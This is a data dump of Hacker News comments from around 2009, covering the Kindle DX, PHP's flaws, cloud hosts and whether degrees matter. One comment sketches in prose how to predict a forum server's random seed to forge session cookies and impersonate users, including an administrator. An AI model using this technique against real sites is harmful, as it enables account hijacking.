change anything about the problem; but that fake math quits working.\", \"Haha, reminds me of the writing on a run-down gas station  bathroom stall.<p><i>Why am I addicted?</i>\", \"Of course. It's a useful feature. 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If a service specifically tells you that from time to time you can expect a few hiccups, you can't complain, paid or not. If Gmail were to announce that it had developed the perfect spam filter, and people switched to it for that very reason, they would have every right to complain if it didn't work.\", NaN, NaN, NaN, \"can it read protected PDFs also? I suppose that i can enter my password with the keyboard.\", \"Everyone in the market for a Louis Vuitton bag is always bummed when they realize they can't afford the $5,000 bag in the window.  But once they're in the store, the $500 bag in the back ends up looking like a great deal in comparison.\", \"Once you see the e-ink screen in person, the $500 price tag just doesn't matter.  It's jaw-dropping.  It is considerably better than you might imagine.<p>(I speak from experience with the Sony PRS-505, but it is my understanding that the kindle e-ink is almost identical.)\", \"I need to redo my personal site, and this video convinced me to use P2.\", NaN, \"The problem here is that nobody can release a similar device and get adoption because they don't have the content. Similar to iTunes and the iPod. I'm pretty sure this is going to be a device monopoly.<p>The only people that could pull off a licensing deal would be Barnes and Noble or Borders and they don't seem to be in a position to do that. At least Apple has the Zune Store as competition (as much as it sucks). Amazon's going to have nothing. Sony can't compete on device technology alone without the ability to get content onto those devices easily.\", NaN, \"Interesting, I see those entries... I had been looking at this :<p><a href=\\\"http://www.slicehost.com/articles/2008/3/26/announcing-the-slicehost-api\\\" rel=\\\"nofollow\\\">http://www.slicehost.com/articles/2008/3/26/announcing-the-s...</a><p>\\\". Please note that the current iteration allows access to DNS only.\\\"<p>I guess they had another iteration since then, thanks for the info!\", \"No, I already mentioned that some place else.  If you want to get interesting take a look at how unique IDs are generated.<p>They rely on the Scheme random number generator which is seeded using the milliseconds of Unix epoch.  Since PG regularly restarts the server it should be possible to get a window of time in which to test a succession of random number seeds.  If you could hang around until the server was dead (say test every few seconds), then login and obtain a cookie you'd have enough to do a prediction of the server seed.  You could then run the random number generator forward predicting cookie values and then run them by the server to see which ones are valid.<p>As people log in you'd be able to impersonate them.  Assuming that an admin logged in while you were testing you'd be able to impersonate an administrator and have some fun on the site.\", \"If you can develop as quickly in PHP as you can with RoR, then you are not using RoR to it's full potential.\", \"Master's.\", NaN, \"With the first kindle that was very difficult unless you had a US credit card with a US address.\", \"Don't be that sure, I can envision a version with a single button activating the voice recognition software that will allow you to download whatever you want.\", NaN, \"You assume that certification needs to fall within a particular discipline. And you have probably also assumed that \\\"college\\\" is at least approximately equal to \\\"university\\\", which is not the case in Ontario, Canada. What was required was a Teacher of Adults certificate and demonstrated competence. Short of posting my entire resume, I'll just say that there are areas of military avionics that require a little more than the mere ability to use an oscilloscope, and that I had had teaching experience in the interim period.\", \"Languages are like tools: buying a the best set you can afford is the best possible start to a project. PHP doesn't cause SQL injection flaws, but it doesn't make it any easier.  How many escape functions are there ? Shall we count them ?<p>----------<p>mysql_escape_string() - Escapes a string for use in a mysql_query<p>mysql_real_escape_string() - Escapes special characters in a string for use in a SQL statement<p>mysqli_real_escape_string() - Escapes special characters in a string for use in a SQL statement, taking into account the current charset of the connection<p>addslashes() - Quote string with slashes<p>stripslashes() - Un-quotes a quoted string<p>The magic_quotes_gpc directive<p>The magic_quotes_runtime directive<p>stripcslashes() - Un-quote string quoted with addcslashes<p>stripslashes() - Un-quotes a quoted string<p>addcslashes() - Quote string with slashes in a C style<p>htmlspecialchars() - Convert special characters to HTML entities<p>quotemeta() - Quote meta characters<p>get_magic_quotes_gpc() - Gets the current configuration setting of magic quotes gpc<p>----------------<p>I especially love the contrast between \\\"mysql_escape_string\\\" and \\\"mysql_real_escape_string,\\\" since the first one is fake in a magical, side-effect-laden way.\", \"Nothing means you cannot complain.\", \"You get a kindle email address. You email PDFs to it and they automagically appear on your device. Although this costs $0.10 a pdf. You can also plug it in and it opens as a flash drive, then you just drag and drop. (In the case of the Kindle 2 you also have to convert to the right format, DX sounds like it will be easier)\", \"<i>Am I tired, or was that comment nothing but ad hominem?</i><p>That was kind of the point. I was trying to be classy, like you.<p><i>Perhaps you should take the high road next time and assume that I am just stating my own opinions, not trying to argue with anybody.</i><p>I didn't mean to start an argument, I was just responding to your post.   You said that a degree in computer science adds nothing to how someone develops software.  I replied that this seems false, gave my reasons why, and asked if anyone had evidence to the contrary.  You took offense and started flaming.<p><i>[yadda yadda yadda ... you insulted my argument then said a bunch of other irrelevant stuff ... yadda yadda yadda]</i><p>My argument was short because what you said is prima facie false: you more or less said that years of training in software development adds nothing to one's software development skill set.  It doesn't take much to rebut that.<p>The rest of what you said was all well and good, but you're now attacking a strawman.  We're not talking about a cost-benefit analysis of going to college, so your points aren't really germane here.  We're talking about your claim that college adds nothing, which you still haven't backed up ... probably because it's a completely untenable position.  Four years of <i>anything</i> will add something to your skill set.<p>But flame on ... I'm done with the thread.\", \"It has a USB 2.0 port.\", \"Azure.\\\\n<a href=\\\"https://www.microsoft.com/azure/default.mspx\\\" rel=\\\"nofollow\\\">https://www.microsoft.com/azure/default.mspx</a><p>I haven't looked at it in depth so I don't know how it compares to the offerings listed above. My guess is that it's closer to AppEngine - you write to the MS stack and deploy on their infrastructure, the details of that infrastructure are opaque to you.\", \"> The Dutch will talk about how they don't think anyone should be without health care, but if they saw someone in need they wouldn't help them.<p>[citation needed]\", \"Where can those PDFs come from? Can I just send it files from my computer's hard drive and then read them on the Kindle, like an iPod for PDF?\", \"This is really cool. I have the Kindle 2 and the PDF conversion on many books is really bad, but especially programming books. However, the Kindle DX looks <i>huge</i>. I'm not sure I could carry that thing around the same way I do the Kindle 2.\", \"I've got nothing against PHP, it's just a matter of preference.  There are a lot of fantastic apps built using PHP and I use them on a frequent basis.  However, if I build something, it's Ruby all the way.  I just find it much cleaner and pleasurable to develop with.  Looking at PHP makes my eyes hurt now.<p>The great thing about PHP is that the difficult problems have mostly been worked out.  Getting a PHP site up and running and scalable is standard stuff.\", \"Tom's sculptures are simply amazing, especially the \\\"Color Compass Atoms\\\" piece.\", \"Be glad.\", NaN, NaN, \"When the first iPod was released, everyone complained it was too expensive ($400), and we all know how that story ended.\", \"I usually use a minimum of 16 for anything that isn't throwaway.\", \"Then we'll agree to differ.  I think simple, direct and engaging writing is difficult, and coming up with such a range of ideas to exploit is equally difficult.  I think in this field Asimov has very, very few peers.  I'm not upset that you don't think he was a genius.\", \">>* Perl has support for classes, but you feel like it's a hack every time you write one.<p>Check out Moose for Perl. Then name an OO system in production that is better.<p>(-: If you can give an example, I'll immediately buy a book on it. :-)<p>Edit: Syntax.\", \"How is this a question?\", \"I wonder how Safari Online would look/work on it. It would be great to have this display in combo with an online bookshelf.\", \"there is, I would suggest, a difference between complaints and whining.<p>Whining is only, really, allowed when you pay for a service. Other wise register your complaint calmly and sensibly.<p>Secondly there is a vast difference between losing some tweets and gmail losing emails or gdocs losing documents. Sure have a bit of a moan: but you can only really viably complain if what is lost has significant value (a point the blog writer makes whe nhe talks about grannies vs. companies losing email).\", \"<a href=\\\"http://dev.opera.com/articles/wsc/\\\" rel=\\\"nofollow\\\">http://dev.opera.com/articles/wsc/</a><p>This is an interesting take on learning things right the first time around (the historyof HTML has been riddled with right and wrong ways to do things).<p>Since HTML alone doesn't suffice anymore, \\\"Head First HTML, XHTML and CSS\\\" is a pretty good place to get started.<p>Good Luck!\", \"> After all, they only have 16m people on a tiny piece of land.<p>Do you think that matters? I feel no more connected to people living 100 km away than people living 300 km away.\", \"The e-ink screen is the major cost component.\", \"In what topic?\\\\nI've met A-list CS theory folks who wind up getting that only around mid career!\", \"<i>Not that this is a great comparison, but I can buy a netbook for $299 or less these days.</i><p>It's expensive, but it may still be a good value.  For example, an iPod costs more than a netbook too.\", NaN, \"Me neither and there are a few instances where I regret it, but mostly during the time I \\\"should\\\" have been in school I was learning how to run my own company, live and provide for myself, taxes, health care and everything else. I have college educated friends who have gone back to working retail with no savings account because they don't know better. (I yell at them and teach them things from time to time, least I can do when I see friends making mistakes.)<p>I think in the long run it wont matter what level of education I've \\\"completed\\\", I'm always going to be learning and I'm always going to try to be good at what I do. Taking classes might help me one day, you never know.\", \"I'm a big fan of PHP for myself. But I've seen enough of PHP script kiddies out there making nearly free (as in beer) websites/webapps. They become a mess in no time.<p>Mostly hacking phpnuke, joomla or some other messy portals. Hacked sites mostly never get any security updates or any kind. But employers having free work done are ok with this scheme so more and more script kiddies emerge.<p>Also there is not much thing going on PHP nowadays. Maybe PHP is at peek for it's purpose - doing web apps easy and quickly.\", \"oof, good point.\", \"This looks like it will be a great product, especially for all the technical pdfs I've built up over the years.<p>Still not wild about the DRM though -- I made the mistake of buying DRMed music that I can't listen to anymore.  I'm not going to do the same with books.<p>Anyone else trying to justify a $500 pdf reader? :)\", \"How is this question relevant?<p>Does creating jobs and generating wealth justify being an exploiter and parasite?\", \"I often end up at <a href=\\\"http://www.w3schools.com/\\\" rel=\\\"nofollow\\\">http://www.w3schools.com/</a>  They have some pretty straighforward examples to get you started.\", NaN, \"I think the first reason is probably the most significant.  A lot of the other things are just warts and pet peeves, but what really got me down working with PHP professionally was the level of code I had to work with.  Not only did I end up having to maintain flaming wreckages of code written by people who couldn't even properly be called amateurs, but after doing it for a couple years I found it very hard to improve my craft by seeking out good code to learn from.<p>I jumped headlong into Rails 4 years ago after having been enamored with Ruby over Perl for sysadmin type scripting and text-munging.  Yeah Ruby has some bad warts too (the runtime!), but the quality of code in the community is an order of magnitude better.\", \"<i>Just like with C, there are definitely talented coders out there who can make PHP behave correctly. Sadly, they are a minority. Many of them move on to other languages and frameworks.</i><p>What does that mean? I'll take the compliment, but I'm not sure what the difficulty is in making PHP 'behave correctly.'\", \"\\\"Case Western, is that the \\\"local university\\\" \\\"<p>No. Wrong side. ;)\", NaN, \"Not having a keyboard would make it a pain in the ass to search for content. Amazon is highly vested in making it easy for you to get more content. Yadda yadda, the keyboard aint going anywhere.\", \"\\\"A few dozen such accelerators, like Y Combinator, have cropped up this decade. \\u201cThey deal with somewhat later-stage companies that have established themselves in their markets but simply need to scale up,\\u201d Adkins says.\\\"<p>It's hard to imagine getting it wronger.  And this woman is \\\\nthe president of the \\\"National Business Incubation Association?\\\"\", NaN, \"It should. We use Amazon AND AppEngine. AppEngine for e-mails.\", NaN, \"I'm not sure how useful code highlighting would be in 16 shades of grey.\", \"Does anyone know of a similar reader at about the same price point which supports annotation of the text (for example with a stylus)?\", NaN, \"So one of the arguments in that article is, there is no labor shortage because companies get inundated with lots and lots of resumes, but they hire only a very small percentage of those resumes ...<p>But as anyone who has had to go through those resumes know, the vast majority of the resumes are from people who are totally unqualified for the job .. the fact that employers go through the entire resume pool and are unable to find qualified employees proves the shortage.<p>And that's just basic qualifications, we aren't even talking about actually knowing how to write good code yet.<p>p.s. if anyone is looking for a job and is a good java coder with some experience in webapps and GWT, send me a message.\", \"Wasn't there some Microsoft thing?\", \"Do we have to call it 'cloud'? Can't we just call it hosting like we used to?<p>I use linode for hosting, moved from slicehost - cheaper, and more options. Multiple datacenters etc.\", \"I abandoned PHP about two years back. 8 months ago, after going to a conference and hearing the folks at Flickr talk, specifically Cal Henderson (<a href=\\\"http://www.krisjordan.com/2008/09/16/cal-henderson-scalable-web-architectures-common-patterns-and-approaches/\\\" rel=\\\"nofollow\\\">http://www.krisjordan.com/2008/09/16/cal-henderson-scalable-...</a>) I got re-energized to take another stab at making PHP pleasant to work with.<p>The results of my last push evolved into a PHP framework: Recess. (<a href=\\\"http://www.recessframework.org\\\" rel=\\\"nofollow\\\">http://www.recessframework.org</a>) It's got annotations for a declarative, meta-programming style. It's inherently RESTful (and more fine-grained content negotiation is coming soon). The Models/ORM are lazy so that you can chain together queries that evaluate at the last minute. Recess deploys just fine to commodity $5/mo servers and was designed to be lightweight and fast without giving up object-oriented design (a la Code Igniter).<p>What I feel gets lost in the \\\"PHP is terrible\\\" literature is a distinction between PHP as a programming language and PHP as a technology / platform. As a programming language, from an academic perspective, PHP is embarrassing. As a technology/platform it's incredibly well suited for web applications because that's exactly its intention. PHP's shared-nothing execution model, simple deployment, efficiency & performance make it a great technology for authoring web applications. Tooling has gotten much better too with Eclipse's PDT & XDebug.<p>If you're growing tired of PHP and looking for a platform/framework to develop on that is more productive and enjoyable try taking Recess for a spin. For me, at least, it's made PHP fun again: <a href=\\\"http://www.recessframework.org/\\\" rel=\\\"nofollow\\\">http://www.recessframework.org/</a>\", \"<a href=\\\"http://htmldog.com/\\\" rel=\\\"nofollow\\\">http://htmldog.com/</a> wasn't bad as far as I remember.\\\\nBe careful with the books, do not pick \\\"old-style\\\" one, which pays no attention to web standards and semantics. I'd recommend \\\"Web Standards Solutions: The Markup and Style Handbook\\\" by Dan Cederholm (<a href=\\\"http://astore.amazon.com/simplebits-20/detail/1590593812\\\" rel=\\\"nofollow\\\">http://astore.amazon.com/simplebits-20/detail/1590593812</a>). Not exactly introductory, but worth reading.\", \"I would say \\\"In truth, SOME can accomplish a heck of a lot with that time and money.\\\"  I think it really depends on the person, and their experiences up to the end of high school.<p>Give me that time and money now, and I can hopefully accomplish something useful.<p>Give me that time and money when I was just out of high school, and chances are very good that it would have gone to waste.  I didn't know what I wanted to do with my life (still don't, but a bit less so than back then), I had no idea how to work hard, and only a vague idea of how the world works.  Those are things I started to learn in college.<p>The opportunity cost goes both ways.\", \"Ulrich Drepper is a brilliant programmer and an expert on his field, but he cannot work with people. I figure that the former is the only reason why he's still around.\", \"how did you get the certification needed to teach linear algebra?\", \"It seems as though I hear this \\\"next big thing in news\\\" revelation every 6 months or so. I think we continue to have difficulty imagining the as-yet-unrealized \\\"hyperlocal killer app,\\\" or perhaps it will simply turn out to be the right combination of things we already know well, like (micro-) blogging and social networking and web aggregation/filtering.<p>It's fascinating to watch society struggle with changes in the foundations of media, and what an uncertain and even precarious situation we have right now.\", \"The thing I always wonder about is 'PhD stupidity'. Basically, PhD's usually seem to get a sense of entitlement, which may put them at a disadvantage when entering the real world and leaving the academic world. What the author seems to be misunderstanding, is that employers aren't impressed by a PhD for an entry level job (actually it probably makes them very hesitant). However, the PhD is likely to get trapped into the whole 'I have a PhD so I'm important' mentality that seems to go around, so they never figure out that the PhD is stopping them getting a real job.<p>I think the other major problem is that people take PhD's that won't help them get a job. I've known forensic scientists who've been stuck in deli counters, because there's only a handful of available jobs in the entire western world. I've known journalist grads who've been flat out rejected because of their degree, because it teaches them poor skills (the main skill desired now is the ability to write with personality, which journalism courses actively discourage).<p>So I'm sure there's a lot of ways that can contribute to a PhD making you unemployable, however it's probably always down to poor choice or poor judgment.<p>Personally I'd love to get a PhD in physics out of pure interest. However, the one thing I'd worry about, and I've told to friends going the PhD route, is that taking a PhD keeps you out of the career field for 10+ years. So you have to really evaluate if 10+ years of experience is better for you career wise than a PhD and 0 years experience, because all the fields I'm interested in (career wise, not academically) don't give a damn if you have a PhD, so even though I'd like to have a degree in something I'm not going to waste my time.\", NaN, \"Looks great but does anyone else think the price is a bit expensive? Not that this is a great comparison, but I can buy a netbook for $299 or less these days.<p>Why such a up-front hardware cost when Amazon will get recurring revenue from Kindle books? Are they taking a loss on the book sales to boost downloads?\", \"Absolutely.  I get really skeeved out when I find books referencing Wikipedia as a source-- which translates in my head to <i>\\\"some random guy on the Internet said....\\\"</i>\", \"Yeah, tough call. Since he knows better, he shouldn't have let the passwords be stored on this other website so insecurely, and he shouldn't have been snooping. He did help Jeff out, technically, but he definitely crossed the line to do so.\", \"PHP is not a language that was designed to be a language. It was originally a set of scripts that slowly morphed into a kind-of language. Because of that, PHP lacks a lot of the language features (threads, namespaces, proper OO design from the ground up) that \\\"serious\\\" languages all have. Ruby was buit to be the best language Matz could think of. Erlang was built to be a great language for programming telecoms. None of the \\\"serious\\\" languages morphed out of some CGI scripts.<p>As I already mentioned, PHP is not an OO language. It is a language that has OO as a feature, but the core API is not OO. This creates a very awkward mix of OO and procedural code.<p>One of the most embarrassing things about PHP comes from its complete lack of naming and ordering conventions. Look at the array functions. <a href=\\\"http://us.php.net/manual/en/ref.array.php\\\" rel=\\\"nofollow\\\">http://us.php.net/manual/en/ref.array.php</a> 47 of these functions start with array_, 25 of them are a mismatch of whole words and partial words that happen to do array functions. The reason PHP documentation is so good is out of necessity. Without fantastic documentation, PHP would be completely unusable due to this staggering oversight.\", \"Do you mean because it's never been used?\", \"I haven't tried any of these options, mainly because we use Nutch and CPU intensive stuff tends to get a bit pricey. Haven't looked @ Mosso though...\", \"I'd take your statement one step further: if you are citing <i>anything</i> that isn't a primary source, you're very likely \\\"doing it wrong\\\".<p>Sources like Wikipedia or other encyclopedias are good for beginning to understand the topic, and finding relevant primary sources.\", \"This is a bit off-topic, but I might be able to help you with the analytics side of things. I'm a programmer at Rentrak (<a href=\\\"http://rentrak.com\\\" rel=\\\"nofollow\\\">http://rentrak.com</a>) and we're in the process of launching our TV ratings system. We collect data from millions of set-top boxes every day. We're a lot cheaper than Nielsen and we might be able to do some kind of a deal that works for you.\", NaN, \"AppEngine doesn't count?\", \"Obvious but orders of magnitude harder in difficulty. I'm thinking 2 years, from a Japanese company.\", \"There are lots of reasons.<p>* PHP attracts idiots.  Partly that's because you don't need to know anything to make simple PHP.  So, in the large pool of PHP programmers, there are a ton of idiots.  And those idiots produce a lot of verbose code that gets used because it does something.  Ruby, Python, Perl, etc. all put up a larger barrier because they don't just come with a session handler or whatnot built in.  And that weeds out more of the idiots.  Doesn't really have to do with PHP the language, but it is nonetheless significant.<p>* PHP has a bad type system that leads to errors.  There, I said it.  The fact that 0 == \\\"string1\\\" and 0 == \\\"string2\\\", but \\\"string1\\\" != \\\"string2\\\" is unacceptably bad.<p>* PHP has no namespaces.  Yeah, they're planned for 5.3, but the implementation is just ugly.  This makes it more likely to botch something in a larger project.<p>* Which leads me to my next point: include/require.  In PHP, it's decently common to say require('some_file.php'); and just grab a huge hunk of code.  Eww!  That code could be doing anything - adding in variables, executing code, etc.  While it's true that other languages can do that as well, that's generally not the case - other languages are more in favor of importing objects or functions.  Partly it's a language thing, partly it's a culture thing.<p>* Magic!  So, how does mysql_query() know which database to connect to when you don't pass in a database connection?  I mean, I'm guessing they're either using a global or if it's in C a static external variable, but PHP is littered with this crap.  It's not necessarily bad, but it's magical.<p>* Functions!  So, PHP now has cool object oriented stuff.  Still, it doesn't use it at all.  I don't object to strlen($var) that much when compared to $var->len(), but there are other cases where it's just crappy.  So, PHP has a function strpos() which will return the position of the first occurrence of a substring within a string.  Quick!  In what order do you put the variables?  In this case, it's string to be searched, search string.  What about preg_match()?  Oh, there you put it in the reverse order!  And really, when writing functions, there is no \\\"proper\\\" order, but if you're doing $string.preg_match('/^apple$/'), there's a clear order.<p>* Looking more at preg_match().  What does it return?  It doesn't return a match, it returns a count of the matches it finds.  If you want the matches, you need to pass in a variable that it will take a pointer to as an argument so that it can place the matches in there.  Bleh!  How would this be done in a nice OO-way?  $var->preg_match('/^apple$/').count() would get you the count and otherwise you get the match returned.  Easy in a way that requires less memorization of weirdness and doesn't feel so wrong.  And crappy things like that are done throughout PHP where things are weird, but end up<p>* php.ini.  Terrible idea.  PHP allows you to change very important things install-wide, directory-wide, app-wide, ick-wide!  It's not just magic quotes.  It's more that you never quite know what you're deploying to in a bad way.<p>Finally, it's that PHP is an older-style language without the cool things that newer languages can do.  PHP isn't bad per-se, but it isn't good either.  The biggest thing it has going for it is that it's easy on shared hosting.  With VPSs coming down in price to the point that they don't represent a huge premium over shared hosting, that's become less of an attraction.  PHP is fine, but there's a decent amount to get annoyed with when creating a larger application.\", NaN, \"If these articles are thought provoking, they could be written about PASCAL and reasonable HN members would upvote it. Someone can be a language snob, but also a computer scientist; computer scientists keep an open mind.\", \"I have not read this before.  But I heard this story told by a college professor Michio Kaku when I was in his astronomy 101 class.  Yes, he is the author of the book, Hypersapce.(<a href=\\\"http://www.amazon.com/Hyperspace-Scientific-Odyssey-Parallel-Universes/dp/0385477058/ref=sr_1_1?ie=UTF8&s=books&qid=1241626582&sr=8-1\\\" rel=\\\"nofollow\\\">http://www.amazon.com/Hyperspace-Scientific-Odyssey-Parallel...</a>)  It's a good book to read if you're interested in those things.\", \"My, this is going to be a hit. I sorely desire a wacom on it though :(((\", \"How about a Los Angeles meet?\", \"So... it's an ajax-y forum?<p>Don't get me wrong, I really like what they've done, but it isn't mind blowing.  The design and user experience are stellar.  It's amazing how the guys at Automattic can take an old concept, pare it down the the minimum viable product, and polish the hell out of the experience.\", \"I use PHP every day at work. I find that the best way to program PHP is to pretend it is java and ignore (almost) all the other features. Many of the features of the language are very powerful and because they are so powerful, PHP has a tendency not to scale well.<p>If there are 200+ ways to do one thing you can guarantee that looking at someone else's code will always be an adventure. You CAN write good code in PHP, but it is flexible enough that bad programmers will be able to take it and do much worse things than they could with, say, java.<p>Call me old hat but I think type safety is an important aspect of scalable projects. If I could add one feature to PHP it would be enforced type safety.\", \"That reads to me as \\\"Rails is a pop culture icon that only XYZ people know about.\\\" I'm not XYZ because I don't know who that is.<p>Actually, perhaps unintentionally, you still hit the nail on the head.\", \"When you know you could save pages of code with it, being without proper higher-order functions is beyond tedious.\", \"Am I tired, or was that comment nothing <i>but</i> ad hominem? Perhaps you should take the high road next time and assume that I am just stating my own opinions, not trying to argue with anybody.<p><i>[edit below]</i><p>However, as you're egging me on, I will rebut your flimsy argument, the crux of which is this anecdotal beaut:<p>\\\"It just seems unlikely that there's 'very little' that the computer science program gave to the developer. It certainly doesn't match what I've actually seen in-field.\\\"<p>If that's all you have to lean on, I don't understand how your comment was upvoted so much. Absent in your analysis is a thorough inventory of what college gives you: While it provides new opportunities for learning, it also does not provide things that you get in the working world, such as<p>* Business sense and professionalism<p>* Assuming you don't live at home, a sense of independence: Knowing how to take care of yourself at 22 when everyone else is just figuring out is a <i>huge</i> advantage, believe it or not<p>* Documented experience<p>* References from others with working-world experience<p>On the other hand, there are indeed negatives of going to college. To me, the greatest one is the massive time drain: I work in the day, go home, teach myself more, read history, learn chess, and basically provide my own education. This is not by design, but rather, by my nature. It's unfortunate that so many take education to be the exclusive realm of educational institutions.<p>Sitting through lectures and working to verify for your professors that you are learning, to me, is a waste of time, when I know damn well if I've learned it properly. If I haven't, and it's important, it will show quickly back at work.<p>Oh, and college costs tens of thousands of dollars.\", \"I plan on getting Kindle DX even though I am based outside US presently. The wireless features are not that important to me, nice screen and native PDF support however is.\", NaN, \"Back in the day, PHP was exciting. It was free, it was powerful, it was easy to learn.  Everyone coming out of college knew C anyway and it has a similar structure.  You could suddenly give your circa 1999 web pages a page date in REAL TIME and you could respond to forms without nasty cgi-bin.  Eureka!<p>Nobody gets excited about it anymore because it solved the problem it was aiming to solve a long, long time ago.\", \"Exploiter and parasite?<p>How many jobs and how much wealth have _you_ created today?\", \"<i>way faster</i> -- sounds subjective to me. What references say this?\", \"Presumably you use the Cloud Servers rather than the Cloud Host?\", \"Someone I know wants to learn HTML. What are the best introductory resources to recommend to her? Either books or online are fine.\", \"None\", \"People who are really good at their jobs obsess about their tools- artists obsess over their paint, carpenters obsess over their power tools, cooks obsess over their knives.<p>PHP is like buying a chef's knife at Wal-Mart. You can create a 5 star dish with it, it cuts perfectly fine, but it doesn't inspire the same passion that a Shun knife does.<p>Most restaurants in fact, don't use fancy-knives, they use just regular knives and it works out just fine.<p>But, to draw the analogy back to programming, we're not regular restaurants. We're wannabe \\\"rock-star\\\" chefs- coding and \\\"startup-ing\\\" isn't just a job, it's part of our core ethos, so we obsess over all the tools we use, the text editor, the monitor, even the chair- because it makes the experience all that much better.<p>Most people do this about things they seriously care about. Runners debate intricacies of running shoes or the perfect in race meal. I've had debates with weight-lifters about weight-lifting gloves. Go over to a different forum, and you will hear arguments about the perfect size of a suit lapel.<p>The \\\"Everyman\\\" tools can always accomplish 100% of the job, but provide 90% of the experience. We spend an inordinate amount of time trying to get that last 10% out.<p>Is it probably unnecessary? Yeah. But people really bond over passions, and in arguing/debating that last 10%, you can really connect with people, which is why sites like Hacker News are fun and addictive.\", \"> Everything is an investment.<p>Not at all.  Buying some things is merely an expense, he says looking at a big screen TV.<p>Cash is an asset.  A big screen TV may, or may not, be an asset.\", \"I see. Is this the commonly-accepted interpretation? What does the normal ellipsis mean then? I use it as a trailing thought as well -- or, is it trailing <i>speech</i>?<p><pre><code>    spoken: now... [pause]\\\\n    spoken: lisp .. [thought...?]\\\\n    thought: if only\\\\n\\\\n?</code></pre>\", \"It's not \\\"feelings\\\".<p>If somebody makes a conscious decision and goes about to explicitly allow harvesting, then so be it. Decision's done.<p>Instead, these people prey on organs from the recently deceased. In my case, he died not knowing what killed him. It was an infection of sorts but we just don't know. He didn't make a decision about harvesting after he was gone, so they should respect his wishes (or lack thereof).\", \"Everyone should read Jef Raskin's The Humane Interface.  He expresses many of his interface ideas used with the Canon Cat and Archy in the book.  I now consider thoughtful interface design a moral decision.<p><a href=\\\"http://en.wikipedia.org/wiki/The_Humane_Interface\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/The_Humane_Interface</a>\", \"2.4 is my favorite by far:<p><i>A novice asked the Master: ``Here is a programmer that never designs, documents or tests his programs. Yet all who know him consider him one of the best programmers in the world. Why is this?''<p>The Master replies: ``That programmer has mastered the Tao. He has gone beyond the need for design; he does not become angry when the system crashes, but accepts the universe without concern. He has gone beyond the need for documentation; he no longer cares if anyone else sees his code. He has gone beyond the need for testing; each of his programs are perfect within themselves, serene and elegant, their purpose self-evident. Truly, he has entered the mystery of Tao.''</i>\", \"I must say, between Jeff's first post on this argument and another discussion I saw this morning here on HN I got a bit paranoid and just now finished changing _all_ of my passwords, each generated and stored using an automated tool. I acted on impulse, and yet I don't think I'll regret it, even if it was probably overkill. \\\\nI \\\"fortunately\\\" lost just two accounts too, among which there was my \\\"old\\\" HN one.\", \"This kind of stuff happens all the time and it's really disappointing. Wikipedia is a good starting place for learning about things, but if you're publishing something and citing Wikipedia then something is seriously wrong.<p>If you're using Wikipedia for anything more than casual learning, then you'd better make sure that you can find another source to confirm what you find (and make sure that that source doesn't cite Wikipedia).\", \"All of the ebook readers I've liked for the iPhone let you disable auto-rotation - Stanza, BookShelf, the Kindle app...\", \"And my Nokia 5120 still boots up like it's first day when I pull it out of the discarded gadget drawer.\", \"That's true only if you believe that what the state does is necessarily and only helpful.  (There are other requirements as well, but I'm limiting myself to two of the more obvious problems.)<p>Govt help programs, at least in the US, are aimed more at benefitting middle class providers than the poor who are supposedly the beneficiaries.\", \"I use Mosso for fun because of the low price.  Start up a 20 machine cluster and run it for a couple of hours all for under a dollar.\", \"<a href=\\\"http://www.mobileorchard.com/\\\" rel=\\\"nofollow\\\">http://www.mobileorchard.com/</a> is another resource dedicated to iphone development.\", \"Just curious: I met a lot of good programmers from small towns in Ohio when I went to Case Western, is that the \\\"local university\\\" you're referring to? (if so, I also have some guesses on who the \\\"guy\\\" was :)\", \"I'm sure we can identify other hackers/entrepreneurs easily, no ;-)<p>For the avoidance of doubt, I'll be wearing a black NewsCred t-shirt.<p>Also, we do a have a table reserved, but if tons of people show up, there will be some standing and drinking!\", \"Wow, I love reading stuff like this and realizing there is elegance yet to be discovered for a young \\\"bipolar lisp programmer\\\" such as myself. Humbling and inspiring. It's like lisp with warts, but very tasty and powerful warts.\", \"@Jerecoh:  I use Joyent too... and have been very pleased with it.  But, I have to admit that we didn't spend a lot of time evaluating all of the other cloud options out there.  Why did you choose Joyent?\", \"ugh, your right that is expensive (never used that aspect of their service myself).<p>In which case I retract recommending MT :P\", \"\\\"I do find these body parts people just plain disgusting.\\\"<p>Saving lives is more important than your feelings.\", \"I wonder how PDF in larger paper formats (A4, US Letter) look on the bigger screen. They get rendered with illegibly small text on my Sony Reader (which has the same-size screen as the normal Kindle).<p>Too bad again, that the Kindle is US only.\", \"Yes sir, Kindle 2 does it (via <a href=\\\"http://wiki.mobileread.com/wiki/E-book_Reader_Matrix\\\" rel=\\\"nofollow\\\">http://wiki.mobileread.com/wiki/E-book_Reader_Matrix</a>).\", \"Anyone have experiences using Gladinet?  If so what is the best service to use with it?<p>Adrive.com?\\\\nS3?\\\\nLiveDrive?\\\\nGoogleDocs?\\\\nPicasa?\\\\nOther?\", \"IMHO Mediatemple is terribly overpriced* even wrt Slicehost - Their 40GB/512MB/1.5TB plan costs $100/mo for example.<p>* - I've no idea how much CX costs though\", \"In this case though, the choice of hashing algorithm is at least as important as the salt.<p>If the attacker was motivated to have Jeff Atwood's password, he could have grabbed the salted hash and used a password cracker against it. We're talking a single password for a high profile user, so why not spend a few hours of CPU time on it?<p>Only an adequate password hashing algorithm (ie, SLOW) would have really prevented this.\", \"How should we recognize each other? Do we have a table reserved or anything?\", \"I use Joyent. I would argue that Media Temple is <i>not</i> cloud hosting (and it's \\\"grid\\\" is always down). If Mosso gave OpenSolaris as an option, I would switch to it.\", \"ErrantX<p>I would highly recommend learning Ruby before trying RoR. The first time I tried to learn RoR I didn't know any Ruby. I had limited success because I had to battle the framework and the language.<p>You don't need to know everything about Ruby to start on RoR, but you should be able to write some basic programs.<p>There are a number of online resources for Ruby:<p>Unofficial and old, but has a lot of good info: <a href=\\\"http://www.math.umd.edu/~dcarrera/ruby/0.3/\\\" rel=\\\"nofollow\\\">http://www.math.umd.edu/~dcarrera/ruby/0.3/</a><p><a href=\\\"http://www.whytheluckystiff.net/ruby/pickaxe/\\\" rel=\\\"nofollow\\\">http://www.whytheluckystiff.net/ruby/pickaxe/</a><p><a href=\\\"http://www.ruby-doc.org/docs/UsersGuide/rg/\\\" rel=\\\"nofollow\\\">http://www.ruby-doc.org/docs/UsersGuide/rg/</a><p><a href=\\\"http://qa.poignantguide.net/index.html\\\" rel=\\\"nofollow\\\">http://qa.poignantguide.net/index.html</a><p>For RoR guides online, I didn't find anything that I really liked. I ended up with Sitepoint's Simply Rails 2.0 and followed it. I didn't find any free guides/books that really helped me much. Once you get a basic understanding of MVC you can learn a lot of from <a href=\\\"http://railscasts.com\\\" 